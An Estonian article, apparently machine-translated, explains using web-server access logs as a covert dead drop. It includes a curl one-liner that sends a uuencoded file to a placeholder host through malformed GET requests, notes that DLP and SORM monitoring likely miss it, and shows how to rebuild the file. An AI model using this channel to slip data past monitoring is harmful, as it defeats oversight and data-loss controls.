Vastavalt Vikipeedia määratlusele on peidetud punkt (dead drop) konspiratsioonivahend, mida kasutatakse teabe või esemete vahetamiseks isikute vahel, kes kasutavad salajast asukohta. Idee on selles, et inimesed ei kohtu kunagi — kuid jagavad ometi teavet, säilitades operatiivturvalisuse.

Peidetud punkt ei tohi tõmmata tähelepanu. Seetõttu kasutatakse offline maailmas tihti tavalisi esemeid: vabatahtlikku tellist seina sees, raamatukogu raamatut või puuharu.

Internedis on palju šifreerimise ja anonüümsuse tööriistu, kuid nende tööriistade kasutamine tõmbab tähelepanu. Lisaks võivad need olla blokeeritud ettevõtte või riigi tasandil. Mis siis teha?

Arendaja Ryan Flowers pakkus välja huvitava variandi — kasutada peidetud punktina suvalist veebiserverit. Kui mõelda, mida teeb veebiserver? See võtab vastu päringud, väljastab faile ja salvestab logisid. Ja see salvestab logis kõiki päringuid, ka mittesobivaid!

Seega, iga veebiserver võimaldab logisse salvestada praktiliselt suvalist sõnumit. Flowers mõtles, kuidas seda kasutada.

Ta soovitab järgmist varianti:

Võtame tekstifaili (salajane sõnum) ja arvutame selle rashi (md5sum).
Koodime selle (gzip + uuencode).
Salvestame logisse, tehes teadlikult mittesobiva päringu serverisse.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Faili lugemiseks on vajalik teha need toimingud vastupidises järjekorras: dešifreerida ja dekomprimeerida fail, kontrollida rashi (rashi saab turvaliselt edastada avatud kanalite kaudu).

Tühikud asendatakse =+=, et aadressis ei oleks tühikuid. Programm, mida autor nimetab CurlyTP, kasutab base64 kodeeringut, nagu e-kirja manustes. Päring toimub võtmesõnaga ?transfer?, et saaja leiaks selle logidest kergesti.

Mida me näeme logides sellisel juhul?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Nagu juba öeldud, tuleb salajase sõnumi saamiseks teha toimingud vastupidises järjekorras:

Kaugarvuti

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Protsessi on lihtne automatiseerida. Md5sum sobib ja faili sisu kinnitab, et kõik dešifreeriti õigesti.

Meetod on väga lihtne. "Selle harjutuse mõte on tõestada, et faile saab edastada süütevõimetest väikeste veebipäringute kaudu, ja see töötab igasuguse veebiserveriga, kus on tavalised tekstilogid. Sisuliselt on iga veebiserver peidetud punkt!", kirjutab Flowers.

Loomulikult töötab meetod ainult siis, kui saajal on juurdepääs serveri logidele. Aga sellist juurdepääsu pakuvad näiteks paljud hostiteenused.

Kuidas seda kasutada?

Ryan Flowers ütleb, et ta ei ole infotehnoloogia spetsialist ja ei hakka CurlyTP kasutusvõimalusi loetlema. Tema jaoks on see lihtsalt tõestus kontseptsioonist, et tuttavaid tööriistu, mida me iga päev näeme, saab kasutada ebatavalisel viisil.

Tegelikult on sellisel meetodil mitmeid eeliseid võrreldes teiste serveripõhiste peidetud punktidega, nagu Digital Dead Drop või PirateBox: see ei nõua serveripoolset erilist seadistamist ega mingeid spetsiaalseid protokolle — ja see ei ärgata kahtlust neis, kes jälgivad liiklust. Küllap ei skaneeri SORM ega DLP süsteemid URL-e koompressitud tekstifailide suhtes.

See on üks meetod sõnumite edastamiseks teenusefailide kaudu. Võib meenutada, et varem paigutatud mõned edasijõudnud ettevõtted kuulutusi arendajate jaoks HTTP päistes või HTML-lehtede koodis.

Idee oli selles, et sellist "munapüüti" näevad ainult veebiarendajad, sest tavaline inimene ei hakka vaatama päiseid ega HTML-koodi.